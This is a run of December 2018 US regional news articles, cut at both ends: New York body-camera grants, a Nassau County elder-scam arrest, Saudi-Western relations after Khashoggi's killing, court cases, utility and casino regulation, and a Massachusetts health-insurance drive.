County Police Department will receive $44,085 for 24 body-worn camera systems and three body-worn camera docking stations. Body-worn cameras will be used during special events where significant interaction with the community is likely. The Suffolk County Sheriff's Office will receive $69,484 for 116 body-worn cameras. Body-worn cameras will be used to help create the Suffolk County Sheriff's body-worn camera program. The Syracuse Police Department will receive $148,603 for 91 body-worn camera systems. Body-worn cameras will equip additional patrol officers and command groups that have daily interactions with members of the community. The Troy Police Department will receive $69,600 for 96 body-worn cameras. Body-worn cameras will be used to help create the Troy Police Departments body-worn camera program and be rolled out to patrol officers first. The Ulster County Sheriff's Office will receive $69,776 for 80 body-worn cameras. Body-worn cameras will be divided between jail and road patrol divisions. The Utica Police Department will receive $67,890 for 110 body-worn cameras. Body-worn cameras will expand usage to the Criminal Investigative Division. The Westchester County Department of Public Safety will receive $61,209 for 150 body-worn cameras. Body-worn cameras will be used to help create the Westchester County Department of Public Safetys body-worn camera program. In 2015, Executive Order No. 147 appointed the Attorney General as special prosecutor in incidents where a law enforcement officer causes the death of an unarmed civilian, or where there is a significant question as to whether the civilian was armed and dangerous. This led to the creation of the Special Investigations and Prosecutions Unit (SIPU) within the Attorney Generals office. In each instance where an investigation does not lead to a prosecution, SIPU has issued thorough public reports detailing the evidence collected and, where applicable, providing policy recommendations aimed at improving law enforcement practices. SIPU first recommended the creation and expansion of body-worn camera programs by local law enforcement agencies in a 2016 report concerning the death of Miguel Espinal. SIPU has repeated this recommendation in several reports issued thereafter. As one SIPU report noted, Indisputably, videotaped evidence would have greatly facilitated the investigation of this case. The CAMS program builds on body-worn camera recommendations made in SIPU reports by providing local law enforcement agencies throughout New York State with the opportunity to obtain funding to create or expand a body-worn camera program. Suffolk County Executive Steve Bellone said, The men and women of the Suffolk County Police Department put their lives on the line every day to protect our residents. I thank New York State Attorney General Underwood for providing funding to the Department that will enable the purchase of additional body cameras to protect our officers, ensure accountability, and build upon the public trust. Westchester County Executive George Latimer said, Westchester County is pleased to be awarded this grant for body cameras for the Westchester County Police Department. A body camera is an extra layer of protection for everyone. They verify important facts that can serve as documentation of what happens during encounters. I want to thank the New York State Attorney General for choosing Westchester County for this important allocation of resources. City of Buffalo Mayor Byron Brown said, I want to thank Attorney General Barbara Underwood for the creation of this important program. Its vital that we continue to foster relationships between police, the community and residents. This program will provide the needed resources to help assist with accountability and transparency. Body worn cameras are making our streets safer and helping the Rochester Police Department strengthen the level of trust between our officers and the people they serve, said Rochester Mayor Lovely A. Warren. I want to thank Attorney General Underwood for recognizing the value of this critical tool with this important investment. Body worn cameras further our goals of bringing true community policing to Rochester, which helps us create more jobs, safer/more vibrant neighborhoods and better educational opportunities for our citizens. City of Syracuse Mayor Ben Walsh said, We expect our body-worn camera program to create significant benefits for our police officers and for the community, but we know it brings additional costs. This funding will help to keep the body-worn camera program operating and ensure our police department has the resources they need to do their jobs and to make our neighborhoods safer. We are appreciative of the Attorney General's support of our body-worn camera program. The grant funding announced today will make a significant impact, bringing in additional cameras to keep our residents and neighborhoods safe, said City of Niagara Falls Mayor Paul Dyster. Thank you to the Attorney Generals Office for its continued investment in critical grant programs like these that support our officers and others statewide as they continue their mission to protect the people of Niagara Falls. City of Utica Mayor Robert Palmieri said, The Utica Police Department was one of the first law enforcement agencies in New York State to implement body worn cameras. This policy has promoted transparency and accountability while enhancing community relations. I commend Attorney General Underwood for understanding the positive impact body worn cameras has made and for providing law enforcement the resources necessary to further pursue this worthy initiative. New York State Senator Timothy M. Kennedy said, Across the country and here in the City of Buffalo, we have seen the benefits of body cameras in improving relationships and trust between the police and the public, helping to impartially reveal the truth and enhance accountability for all involved. The funding provided by the Attorney General's CAMS program is a great opportunity for the Buffalo Police Department to expand their current use of body cameras to include the entire City, improving upon the critically-important job they are already doing every day. I want to thank Attorney General Underwood, Mayor Byron Brown and the Buffalo Police Department for their continued commitment to ensuring our City remains safe. I would like to thank both State Attorney General Barbara Underwood for making these funds available and the Buffalo Police Department for the willingness to apply for body cameras. This technology will be used to protect both officers and the general public with a goal of reducing unnecessary force and improved transparency, accountability, trust and community relations, said Assembly Majority Leader Crystal D. Peoples-Stokes, D-141. Assemblymember Bill Magnarelli said, I thank Attorney General Underwood for this initiative and award. Body worn cameras, when used properly, promote trust and transparency between police and the community. They also provide important protection to our officers on duty. These funds will help the City of Syracuse to expand and further implement an effective camera program. Assemblymember Pamela Hunter said, In addition to the benefits both the police and community see when effectively using body worn cameras, our law enforcement personnel can also use these as a tool to train new and existing officers in how to perform during difficult encounters with the public. I am grateful for the rollout of Attorney General Underwoods initiative. Central New York and cities across New York State will benefit from this program. This is a major victory for the police and our citizens, said City of Buffalo Common Council President Darius Pridgen. I thank the Attorney Generals office for awarding the department this grant and Im overjoyed that more body-worn cameras will soon be in use in our community. Town of Amherst Supervisor Brian Kulpa said, Id like to thank the Attorney General for selecting Amherst for funding for body cameras for the Amherst Police department. Body cameras worn by our officers will greatly enhance the existing program that has been in place in 2016. This will enable our Police force to continue to build community trust, create positive interactions with our residents, and reinforce lawful policing. It will also protect the officers ability to document law enforcement interactions with the public by capturing evidence of the actions, conditions, and statements of all parties involved during an incident. Suffolk County Sheriff Errol Toulon said, The addition of body worn cameras are a logical progression of our police technology program. Our use of in car camera systems has aided in prosecutions and provided training opportunities. The introduction of body worn cameras will further enhance our ability to serve the community. We value the relationship between our officers and the residents of Suffolk County, and are happy to be a partner in the CAMS Program. This latest initiative led by the Attorney Generals office not only provides another tool to keeping our officers safe, but adds another level of transparency and trust with our communities, said Suffolk Police Commissioner Geraldine Hart. The Buffalo Police Department is thankful to the New York State Attorney General's Office for this generous grant towards our body worn camera program, said Commissioner Byron Lockwood of the Buffalo Police Department. These funds will help us launch our camera program after the first of the year. It is our goal to equip every patrol officer with a camera and to continue to build upon and strengthen the relationships we have with our community. Albany County Sheriff Craig D. Apple, Sr. said, The Albany County Sheriffs Office is very fortunate to be a recipient of funding from the New York State Attorney Generals Office through their CAMS Program. This funding will allow our agency to develop a policy which parallels our present In-Car Cameras system, purchase body cameras, train our members and deploy the cameras in the field. With the deployment of this new program we will be able to utilize this new tool to expand our abilities to memorialize events and thus enhance our capabilities to provide valuable information to prosecutors. I would like to thank New York State Attorney General Barbara Underwood for giving us this opportunity. Ulster County Sheriff Paul Van Blarcum said, The use of Body Worn Cameras (BWC) is an effective tool that the Ulster County Sheriffs Office has deployed to demonstrate our commitment to transparency and accountability, increase the public trust, provide valuable evidence for prosecution, and protect our members from unjustified claims of misconduct. However, this program creates a great financial burden. The Office of the New York State Attorney General has awarded our agency approximately $70,000 of monetary aid to help offset the cost of this valuable technology. We value this continued support from the Attorney General and our state law enforcement partners. Monroe County Sheriff Todd Baxter said, The Monroe County Sheriff's Office has been awarded a CAMS (Capture an Account of a Material Situation) Program grant award in the amount of $59,694 from the New York State Attorney General's Office. This award will provide much needed funding for the Sheriff's Office to purchase up to 30 additional body cameras for use by members of the Sheriff's Office Police Bureau. These additional cameras will allow the Sheriff's Office to continue to build trust and foster transparency, which is the foundation of building positive relationships between law enforcement and the communities which they serve and protect. The Monroe County Sheriff's Office looks forward to working with the NYS Attorney General's Office to implement this CAMS Program. Amherst Police Department Chief John C Askey said, Thank you to New York State Attorney General Barbara Underwood and her staff for awarding the Amherst Police Department $37,625 in their CAMS (Capture an Account of a Material Situation) police body camera program. Funds provided will be used to purchase additional body worn cameras for the Patrol Division, augmenting our existing program, in place from 2016. In our experience body worn cameras have proven valuable tools for transparency and accountability. Rochester Police Department Chief Mark Simmons said, I would like to thank the New York Attorney Generals Office for their consideration of our grant application and decision to award the Rochester Police Department (RPD) $104,508.75 as part of the CAMS program. The allotment will allow the RPD the ability to expand our body-worn camera program while enhancing our departments capabilities to further aid our officers in providing the highest level of service to the citizens of Rochester. Troy Police Department Chief Brian Owens said, The Troy Police Department has worked tirelessly with stakeholders from the police department, city administration and community leaders regarding the implementation of a police body worn camera program. The availability of a Body Cam grant from the NYS Attorney Generals Office was seen as a way to help us jump start our program. Having been chosen as an awardee is not only helpful financially, but also shows a sense of ideological support from the NYS AG in the departments efforts to have a successful program. The Troy Police Department is thankful for the award. Syracuse Police Department Chief Kenton Buckner said, Body-worn cameras are shown to reduce cases of excessive force and cut down on claims by citizens, provide protection to both the police and members of the community, and we hope they will increase trust and transparency between officers and residents. As we progress through the trial-period of our expanded pilot program, we are tracking what resources are necessary to create a long-term, sustainable program. We are thankful for this support which will work together with other funding sources to fulfill those demands. Local News, Crime, Press Releases By Chris Boyle Published: December 20 2018 Frederick Espinal of The Bronx, 23, is charged with multiple counts of Grand Larceny, officials say; County Executive Curran refers to suspect as dirt bag. Mineola, NY - December 20, 2018 - A suspect accused of running multiple phone scams on elderly Nassau County residents that netted him tens of thousands of dollars in ill-gotten gains has been brought to justice, according to the Nassau County Police Department (NCPD). At a press conference held in Mineola on Thursday, December 20, it was announced that Frederick Espinal of The Bronx, 23, had been apprehended after having reportedly fleeing out-of-state in an effort to avoid authorities. Nassau County Executive Laura Curran praised both police and the media for helping to spread the word on the suspect, whom she described in colorful terms. Excellent news...our wonderful Police Department caught the dirt bag, and he will now be held accountable, she said. I'm very grateful to the media for covering this, because the tips came flying in and a lot of people, who would be potentially preyed upon, are calling the police and calling their relatives telling them about a suspicious email or phone call they got and if they should trust it. And the answer, of course, is no. Espinal attracted media attention earlier this month when he allegedly called an 81-year-old Oceanside victim and claimed that her son had been involved in an automobile accident and needed funds to pay for bail and medical expenses. After reportedly visiting her home three separate times, officials say Espinal walked away with $45,000 of the victims money . The suspect was photographed by the victim's home surveillance video camera, and the footage was curculated among the media by police as a part of a high-profile manhunt. NCPD Commissioner Patrick Ryder noted that the investigation into Espinal revealed that, in addition to the Oceanside incident, he was also a suspect in several other scams and attempted scams involving elderly victims, all over the age of 70, in Great Neck Roslyn , and Farmingdale It looks like Christmas has come early...we've used a lot of choice words to refer to this individual, but now we get to call him defendant, he said. Our District Attorney's office will take this individual and prosecute him to the fullest extent. Commissioner Ryder noted that due to assistance from the media, as well as the doubling of the Department's usual reward for information leading to arrest from $5,000 to $10,000 police soon had enough information to track the suspect down and place him under arrest. Information led us to Lawrence, Massachusetts, where the individual, was arrested on December 18th, he said. After an extensive investigation through Crime Stoppers and our tips, we arrested Frederick Espanol. He is 23 years of age and lives in The Bronx. He had fled to Massachusetts and was hiding out with relatives after he noticed the media attention his crimes in Nassau County had attracted. Ryder said that Espanol had waived his extradition rights and was currently being transported back to New York for arraignment on multiple charges of Grand Larceny, scheduled for the morning of Friday, December 21. Through the course of the police department's investigation, Ryder said, a separate scam ran by a different group of individuals in Lake Success was uncovered, responsible for separating an elderly woman from $12,500 of her hard-earned money. We can't thank the public enough. They came forward with the information, they got us to The Bronx, they got us to Massachusetts, and they also came forward with an additional case in Lake Success, he said. As you heard from the County Executive, we are now educating the seniors in our community about scams, and they are now calling us and asking us about suspicious phone calls they have received. Ryder noted that the Nassau Police worked in partnership with the New York Police Department, Massachusetts Police, and the U.S. Marshals office in apprehending Espanol. At the end of the press conference, Ryder issued a stern warning to anyone who would seek to prey upon the law-abiding seniors of the Nassau County community. Bad guys beware...if you come to our county, and you try to scam anyone, we will put our full resources behind the investigation and track you down wherever you run to, be it Massachusetts or across the United States, he said. To what extent can a journalists death upset geopolitics and threaten a relationship that has survived disagreements over the Arab-Israeli conflict, tensions after the oil crisis of 1973, distrust following 9/11 and disappointment after the Iran nuclear deal? The murder of Saudi journalist Jamal Khashoggis in his countrys consulate in Istanbul has had a resounding effect in Western countries and caused them to question and rethink their relationships with their old ally. In the United States and, to a lesser extent, Europe, politicians, former diplomats, intellectuals and journalists have come forward in recent weeks calling for a change of policy. They want their countries to distance themselves from the kingdom and to see Crown Prince Mohammed bin Salman, suspected of being behind the assassination, held accountable. We should reevaluate the nature of our relationship, but I would hope that if we do, it should be clear-eyed, and not based on current emotions, Gerald Feierstein, former US ambassador to Yemen and current vice president of the Middle East Institute (MEI) in Washington, tells LOrient-Le Jour. The stakes in the Saudi-US relationship are enormous both economically and politically. They include the stability of oil prices, the fight against radical Islam, the containment of Iranian influence and money and weapons from defense contracts. Riyadh is also a key player in all major issues in the Middle East. If the West were to distance itself from the kingdom it would risk destabilizing the region and even the global economy. "Even if Saudi Arabia is not the most perfect country in the world, Westerners cannot afford the luxury of ending up with an unstable country, says Frederic Charillon, a professor of international relations at Sciences Po Paris. For its part, the new leadership in Riyadh has signaled that it is willing to use the threat of chaos to cling to power. Good ally Saudi Arabia is the worlds largest oil exporter and biggest importer of weapons. But the relationship between the kingdom and western countries cannot be reduced only to petrodollars. Saudis diplomatic position is at least as important. "One cannot have an Arab policy without going through Saudi Arabia at some point, a Western diplomatic source, who wished to remain anonymous, told LOrient-Le Jour. For decades, the West, led by the US, has made its alliance with the kingdom a pillar of its regional policy. "Saudi Arabia and the United States have been good allies. Their partnership dates back to the end of the Second World War, in terms of security and stability in the region. Riyadh stood beside Washington to counter Soviet expansionism in the 1960s and 1970s, as well as in Afghanistan in the 1980s, and finally in the Gulf War (1991). During all these years, we worked very closely with the Saudis and they were very good partners, says Feierstein of MEI. "When the Israeli-Palestinian conflict was shaping the region, Saudi Arabia was a moderating actor in the Arab world, adds Michel Duclos, former French ambassador to Syria and current geopolitical advisor at the Institut Montaigne in Paris. In general, for years the West has seen its relationship with Riyadh in a positive light. Despite changes in power, the alliance has never really been reassessed, and the kingdom has earned a reputation as a loyal, moderate actor and crucial partner in an unstable region. Neither the oil crisis of 1973 - caused by Saudi Arabia - nor deep differences over the Arab-Israeli conflict have had a lasting effect. The September 11 attacks, however, were a turning point. The fact that 15 of the 19 hijackers were from Saudi Arabia created tensions that never existed before. "Since then, something was broken in the relationship between Saudi Arabia and the United States. It was later repaired, but the anti-Saudi sentiment nevertheless remained, latent and deep, within the American political class, adds Duclos. After 9/11, substantial gaps began to appear between US and Saudi positions on crucial issues. The Saudis protested as the US prepared to go to war in Iraq in 2003, fearing that the fall of Saddam Hussein would give their bitter regional rival, Iran, an opportunity to extend its influence. Their objections went unheeded. Then, with Barack Obamas victory in the 2008 presidential elections, the closeness of the US-Saudi relationship was questioned like never before, and the distance between their policies grew. The Obama administration refused to intervene militarily in Syria, even after the Assad Regime used chemical weapons in 2013. And in 2015, the US signed the Iran nuclear deal. The Saudis felt betrayed by their once staunch ally, while the influence of their Iranian enemies was steadily growing throughout the region. This is what led to the birth of a new Saudi Arabia marked by an abrupt change in policy away from caution and military non-interventionism. As long as the Saudis kept it low-profile, the West looked away from their allys darkside, choosing to overlook the fact that Saudi Arabia did not share Western values and the ambiguous role it played in the rise of radical Islam and the spread fundamentalist ideology. "In Europe, since the attacks of the Islamic State started, the suspicion that the Wahhabi ideology was a component of the rise of jihadism has been increasingly present," Duclos says. This perception, although simplistic, has been a main factor in the deterioration of the kingdoms image in American and European public opinion. Excesses The kingdoms reputation has been further tarnished by the Saudi-led military intervention in Yemen, the poorest country in the Arabian Peninsula, the alleged kidnapping of Lebanese Prime minister Saad Hariri in Riyadh last year and, most recently, Jamal Khashoggis assassination. Following these events, western countries are now facing the accusation that they have turned a blind eye to Saudi excesses. Some people in the Western political establishment have been calling for a more detached policy for a couple of years now. But it took the brazen killing of Khashoggi for a consensus to emerge that the relationship had to change and for many to start questioning whether Saudi should be considered an ally at all. In an article published on Politico, Middle East analyst Aaron David Miller argued that the Saudis are an occasional and often reluctant, half-hearted security partner and their interests, particularly under the influence of Crown Prince Mohammed bin Salman (commonly known as MBS), only episodically align with ours. Miller, who served as an adviser to six US secretaries of state, dismantled the arguments of people who say the kingdom is an indispensable ally. Instead, he asserted, Saudi Arabia has become a destabilizing force whose actions have only strengthened Irans influence. Washington, now energy self-sufficient, no longer needs Riyadh for its oil supply, he concluded. Under the leadership of the crown prince, Saudi Arabia has undertaken impulsive and ineffective policy initiatives at home and abroad. The Trump administration has given bin Salman the green light in these initiatives because it considers the kingdom a key ally in countering Iranian expansion and an important factor in its hopes for normalizing relations between Arabs states and Israel. But MBS is now being resoundingly criticized in Washington, and according to Charillon of Sciences Po, some consider him to be a threat to the relationship and to the stability of Saudi Arabia as a whole. "Riyadh is a strategic ally and this relationship is worth preserving, but not at all costs. Our position in the world and our national security will be more affected if we ignore MBS, than if we take care of him, Senator Lindsey Graham, a close confidant of President Trump, stated recently. The idea of looking at the alliance with Saudi Arabia as separate from the relationship with MBS is now starting to gain traction. "Some want to preserve the first by changing the second, says Charillon. "Trump is increasingly isolated in his enthusiasm for MBS and now the West will be more demanding vis-a-vis Saudi Arabia, adds Duclos. Last week, the Republican controlled Senate voted to end American military support for the Saudi-led war in Yemen. The Senate also approved a separate resolution condemning Khashoggi's murder. The resolution stated that MBS, Saudi Arabia's de facto ruler, was "responsible" for the death. On Monday, the kingdom condemned the resolutions as interference by the US Senate in its internal affairs and warned that the move could have repercussions on its strategic ties with Washington. But despite the recent discord, common interests have not disappeared. Washington is less dependent on the Saudi oil, but cares deeply about the overall stability of the market . "Defeating islamist extremism, containing Iran and making progress in the israeli-palestinian conflict: Saudi Arabia is a key player in all of these issues, says Feierstein of MEI. "Maybe Saudi Arabia is not as essential as it used to be, nevertheless, it's still an important partner. Meanwhile, while President Trump has refused to hold MBS accountable for the Khashoggi killing, the Senate made it clear that Washington will no longer be giving the kingdom carte blanche in its activities. Saudi Arabia is currently facing fresh pressure to end its war in Yemen and reconcile with Qatar, which the Saudis and their Gulf allies placed under embargo in June 2017. These moves are a clear message from the West that the kingdom crossed a line and that it is time for it to readjust its policies. The expectation is that the Saudis will return to their traditional role in the region while continuing to modernize economically and in terms of social values. What remains to be seen is whether Riyadh will respect these new red lines. If it does, this would require a reevaluation of Mohammed bin Salmans vision for a Saudi Arabia that is an aggressive, strong-willed and independent power able to call the shots all over the Middle East. (This article was originally published in French in L'Orient-Le Jour on the 12th of December 2018) The Aon Centers New York-based owner, 601W Cos., plans to add a glassy pavilion on the ground floor, and an external glass elevator tower up the 1,136-foot tall skyscraper. Those would lead tourists to a new observatory with a restaurant and two thrill rides: the Sky Summit, designed to lift cabs filled with visitors over the buildings edge for 30 to 40 seconds; and a virtual reality experience, Ultraflight, that emulates soaring through the Chicago skyline. The Massachusetts State Police trooper who allegedly broke a womans leg outside of a bar in Dorchester has been released on personal recognizance after facing a judge Thursday morning. Trooper Matthew Hickey, 30, allegedly attacked a woman outside Dorset Hall in Dorchester on Dec. 1, authorities said. Hickey was arraigned in at Dorchester Municipal Court on charges of assault and battery with a dangerous weapon, a shod foot, and assault and battery. A not-guilty plea was entered on his behalf. The victim told police that Hickey followed her and her friend outside of the bar, where he attacked her from behind, according to the Boston Globe. Hickey allegedly strangled the woman and broke her leg. Assistant District Attorney Michele Granda recommended $1,000 cash bail. Judge James Stanton released Hickey on his own recognizance and ordered him to stay away from the victim and away from Dorset Hall, a spokesman for the Suffolk District Attorneys office said. Hickey was suspended with pay following the allegations, pending the outcome of an investigation by Boston police, according to State Police. We have no tolerance for the type of conduct that is alleged in the complaint. We have opened an internal affairs investigation and will closely monitor the judicial proceedings, State Police spokesman David Procopio said in a statement last week. Hickey is scheduled to return to court on Feb. 13. SPRINGFIELD Members and representatives of the Massachusetts Gaming Commission on Thursday praised the opening months of the $960 million MGM Springfield casino, including tweaks made to keep underage patrons off the gaming floor. The commission, which met at the MassMutual Center, received updates from its staff and MGM Springfield officials on the casinos first few months of operations. MGM Springfield opened Aug. 24. Edward R. Bedrosian Jr., executive director of the Gaming Commission, said one change he worked with the casino to implement was to end the practice of letting families cross through the casino gaming floor. Allowing minors to use the gaming area as a cut-through is really a temptation that is not needed, Bedrosian said. Rather, families can travel the tile area at the perimeter of the gaming area, he said. Michael Mathis, president of MGM Springfield, said we all have zero tolerance" regarding minors' access to gaming areas. While the gaming floor is watched by casino personnel and cameras, MGM is committed to doing all it can to mitigate any problems with minors, he said. MGM Springfield has an aggressive family program and amenities" including an outdoor plaza and theater, Mathis said. Bedrosian said the outdoor plaza has been an unqualified success," and there have been no significant issues with alcoholic beverages being allowed in that area. This is a developing story that will be updated after additional reporting. Her target market is renters who have been priced out of gentrifying neighborhoods, people like single mothers and service professionals, she said. Her business model allows her to rehab homes and make them reasonably priced for working people, and East Garfield Park is particularly attractive because its filled with families who have lived there for generations, families that shes convinced would stay if they could find affordable, nice places to live. Actress Eliza Dushku broke her silence about a $9.5 million settlement she reached with CBS over workplace sexual harassment, saying she was fired from a television show as retaliation for complaining about onset treatment. In an essay published by The Boston Globe on Wednesday, the Watertown, Mass., native wrote that she was written off the show Bull after she confronted actor Michael Weatherly about sexually charged comments he made onset. Dushku wrote that she initially declined to comment about the settlement to The New York Times, which first reported on its existence in a story published Thursday, because she wanted to honor the terms of the agreement. "The narrative propagated by CBS, actor Michael Weatherly, and writer-producer Glenn Gordon Caron is deceptive and in no way fits with how they treated me on the set of the television show 'Bull' and retaliated against me for simply asking to do my job without relentless sexual harassment," she wrote. "This is not a 'he-said/she-said' case. Weatherly's behavior was captured on CBS's own videotape recordings." She also wrote that the "boys' club remains in full force at CBS" and that "the bullying continued" after she was no longer employed by the network. "In the settlement process, CBS used as defense a photo of me in a bathing suit, pulled from my own Instagram, as if this suggested I deserved or was not offended by the sexual harassment I experienced," she wrote. (CBS did not immediately return The Washington Post's inquiry about Dushku's essay.) Weatherly told The Times he "made some jokes mocking some lines in the script. When Eliza told me that she wasn't comfortable with my language and attempt at humor, I was mortified to have offended her and immediately apologized." "After reflecting on this further," he continued, "I better understand that what I said was both not funny and not appropriate, and I am sorry and regret the pain this caused Eliza." Dushku's comments come as CBS is publicly dealing with several sexual-misconduct scandals. Details of her settlement came out during the independent investigation the network launched this summer into allegations against former chief Les Moonves. (CBS' board of directors announced Monday that Moonves was terminated for cause and that he would not receive $120 million in severance.) "The allegations in Ms. Dushku's claims are an example that, while we remain committed to a culture defined by a safe, inclusive and respectful workplace, our work is far from done," CBS said in a statement to The Times last week. "The settlement of these claims reflects the projected amount that Ms. Dushku would have received for the balance of her contract as a series regular, and was determined in a mutually agreed upon mediation process at the time." A day after the Dushku settlement became public knowledge, CBS announced that it would distribute $20 million to 18 organizations focused on curbing workplace sexual harassment. "CBS' support of these endeavors ties into the company's ongoing commitment to strengthening its own workplace culture," the network said in a statement. Before she joined "Bull" in 2017, Dushku had roles on television shows including "Buffy the Vampire Slayer," "Angel," "Tru Calling" and "Dollhouse." She's also appeared in several films, such as "True Lies," "Bring It On" and "Jay and Silent Bob Strike Back." According to Dushku and the Times report, she was hired to appear in the three episodes of the first season of "Bull," with plans for her to continue in a major role in future seasons. But Dushku wrote that she endured repeated harassment that was captured on tape, including comments made by Weatherly about taking her to his "rape van," him calling her names, playing "provocative songs (like 'Barracuda') on his iPhone when I approached my set marks" and remarks he made in a room full of people "about having a threesome." According to Dushku, she asked Weatherly to "help ease the sexualized set comments," and shortly after, he complained to the CBS Television president that Dushku had a "humor deficit." Within days, she wrote, producer-writer Caron fired her. Weatherly told The Times he wasn't involved in the decision to write Dushku off the show, and Caron denied that retaliation was behind the move. "The idea that our not exercising her option to join the series was in any way punitive just couldn't be further from the truth," Caron told The Times. It's not unusual for settlements regarding sexual harassment complaints to include nondisclosure agreements or requirements that the parties involved stay silent about the claims. But the (hash)MeToo movement and increased attention on sexual misconduct in Hollywood has prompted some to speak publicly anyway. For Dushku's part, she wrote, "I really struggled with this and still do." She agreed to the terms - which included designating a sexual harassment compliance monitor at CBS - as she faced the prospect of a lengthy and costly legal battle. In the end, I found uneasy solace in the important conditions I imposed on CBS, and that I would get paid for at least some of my contract, she wrote. WOBURN Dr. Richard Miron pleaded not guilty on Thursday to improperly prescribing opioid drugs, leading to a patients death. Miron, 76, was arraigned in Middlesex Superior Court. He is the first doctor in Massachusetts to be charged with manslaughter for overprescribing opioids. The charges were brought by Attorney General Maura Healeys office. The patient who died was identified for the first time in court documents as Lowell resident Michelle Craib. Magistrate Michelle Goldman released Miron on personal recognizance bail on condition that he not apply for a passport and not travel overnight outside Massachusetts without permission from the Probation Department. Miron and his attorney, Jay Lee, declined to speak to the press after the arraignment. But in a written statement provided by Lee over email, Lee said Miron vehemently denies the allegations. The abuse of opioids is a very real and serious issue, but it is critical that in seeking to address the issue and identify actual wrongdoers, prosecutors not paint with the same brush treaters who have spent their work lives helping others in a fashion consistent with good and reasonable practice, Lee said. Miron already signed a voluntary agreement with the Board of Registration in Medicine to no longer practice medicine. Miron was charged with one count of involuntary manslaughter, for the patient who died, and 23 counts each of illegal prescribing of controlled substances and Medicaid false claims. These counts relate to prescriptions Miron wrote for 12 patients between December 2012 and September 2017, for which he billed MassHealth. MassHealth paid more than $21,000 to cover these prescriptions. Miron practiced internal medicine in Dracut. According to his attorney, he served for five years in the U.S. Army, then practiced medicine for nearly 50 years in Chelmsford, Lowell and Dracut before retiring earlier this year. Prosecutors say Miron prescribed addictive drugs including oxycodone, morphine, fentanyl, methadone and hydromorphone to patients, including some with documented substance use disorders, for no legitimate medical purpose. In multiple cases, the patients took drug tests and tested negative for the prescribed drug and positive for heroin, cocaine and unprescribed opioids. Many had documented overdoses, which Miron was aware of. Mirons only response to failed drug tests was to temporarily make a small reduction in the number of oxycodone pills he prescribed. In the face of this evidence, Dr. Miron continued to prescribe opioids for months and sometimes years without taking any measures to ensure that the patients were using, rather than diverting, the medications, Hoffman wrote in a statement of facts filed with the court. Dr. Richard Miron, accused of illegally prescribing opioids that led to a patient's death, is arraigned in Middlesex District Court on Dec. 20, 2018. (Amaris Castillo/The Lowell Sun) Craib, whose death led to the manslaughter charge, died on March 17, 2016. She was 50, according to her obituary. According to the statement of facts, Craib was found dead in her Lowell apartment with two fentanyl patches on her abdomen. Police found prescription bottles in her apartment for morphine, oxycodone and Fioricet with codeine, all prescribed by Miron. The medical examiner determined that Craib died from the combined effects of fentanyl, morphine, codeine and butalbital, all of which Miron prescribed. Prosecutors say Miron prescribed the drugs even though he knew Craib had been treated for an overdose at Lowell General Hospital on Feb. 2. A well-qualified medical expert has concluded that any reasonable physician knowing what Dr. Miron knew should have realized that continued prescribing of opioids posed a risk of grave danger to his patient, and that the opioid prescribing by Dr. Miron on and after February 2, 2016 resulted in the death of Michelle Craib and without which her death would not have occurred, Hoffman wrote in the statement of facts. Lee said Miron was shocked and deeply saddened to learn of the charges brought against him, and was disappointed that Healeys office released information about the charges publicly before Mirons arraignment. It is very unfortunate that after a long and notable career, Dr. Miron must now prepare a defense to criminal allegations that are simply without the requisite factual basis, but he will do so, Lee said. A status hearing will be held Jan. 29, at which point the court will appoint an attorney for Miron. Lee, of the Lowell law firm Gallagher & Cavanaugh, was representing him only for the arraignment. Although the Department of Public Utilities lifted a moratorium on non-emergency natural gas work by National Grid, new gas hookups are not expected to begin immediately. We know we have current and hopeful customers that are awaiting gas service, and we apologize for delays, a National Grid spokesman said in a statement. We will not be performing new service connection work in Massachusetts at least until we are able to validate with the DPU that we are correctly interpreting the new requirements. The DPU said Wednesday that it was lifting a moratorium that had been in place since October, but at the same time imposing strict new safety standards on the company. National Grid will be required to write out step-by-step instructions on how work on a project will be conducted, and professional engineers will be required to review and approve all work. The new requirements also specify the level of experience employees must have to do certain types of work. The restrictions are in response to a lockout of National Grid workers that was put in place in June due to a contract dispute. National Grid said in its statement that the company welcomes the opportunity to work with the department and build upon our disciplined, formalized approach to managing pipeline safety, and it will be requesting further clarification from the department to ensure it meets the DPUs requirements. When new work can start may also vary by town. Some cities and towns place moratoriums on all non-emergency natural gas work during the winter. Also, some cities and towns voted to place moratoriums on National Grid work until the dispute with the Steelworkers unions is resolved. The unions criticized Gov. Charlie Baker, who they said put National Grid's interests ahead of the safety of the families and businesses in Massachusetts. John Buonopane and Joe Kirylo, presidents of USW Local 12012 and 12003, which are the locked out unions, said in a joint statement that the moratorium was due to real safety concerns about having less experienced replacement gas workers conducting the work. Now overworked, less skilled replacement workers will be doing highly-sensitive, potentially dangerous work all across Eastern Massachusetts, the union presidents said. No family should feel comfortable seeing them at work outside their home or business. Meanwhile, the state Legislature is considering a bill that would create a state-run unemployment benefits program, paid for by the utility company, to pay unemployment benefits to locked out workers of a utility company after their traditional benefits run out. Baker, asked about the state intervention in the National Grid lockout, acknowledged that state involvement in a private labor dispute would be an unusual precedent. But Baker said National Grid has a franchise given by the state, which comes with responsibilities to serve customers. It troubles me greatly that so many of their customers are not being served ... in large part because of the lockout, Baker said. Baker said he conceptually supports the idea of supporting the families of the locked-out workers once their unemployment benefits expire, but he is going back and forth with the Legislature on how to do that in a way that conforms with state and federal law. We do not want to see those 1,200 families end up on the wrong side of this if it doesnt end by the holidays, Baker said. If they dont fix this and resolve this, were going to make sure we come up with some means or mechanism that makes it possible for those folks to be able to pay their bills. HOLYOKE Performing traditional Puerto Rican plena music, members of the band Los Gigantes de la Plena joined Massachusetts Health Connector staff in Holyoke and Springfield to remind people that the deadline for getting health insurance before the New Year is fast approaching. Massachusetts Health Connector held its Day of Coverage on Tuesday, featuring activities across the state including stops in Holyoke, Springfield, Boston, Cambridge, Chelsea, Fall River and New Bedford, all communities with higher rates of uninsured residents than the population at large. In Springfield and Holyoke, residents enjoyed live music and giveaways while obtaining information on how to sign up. Dec. 23 is an important deadline for people in Massachusetts who need to get covered or stay covered for the start of the New Year, and we want people to know they have an extra week compared to the federal deadline (which was Dec. 15), said Louis Gutierrez, executive director of the Massachusetts Health Connector. Holyoke - Holyoke City Councilor Jossie Valentin talks about the importance of registering for health insurance before the Dec. 23 deadline. Open enrollment continues through Jan. 23, but residents who want to start the new year with coverage must sign up through the Health Connector by Dec. 23. Residents can sign up for coverage at www.MAhealthconnector.org, over the phone at 1-877-MA-ENROLL (1-877-623-6765), or in person through a local navigator organization. We want everyone in Massachusetts to have access to affordable health care, and we want to extend every opportunity for residents to sign up or maintain their coverage," Gutierrez said. The committee behind Massachusetts Gov. Charlie Bakers second inauguration on Wednesday released the schedule of events 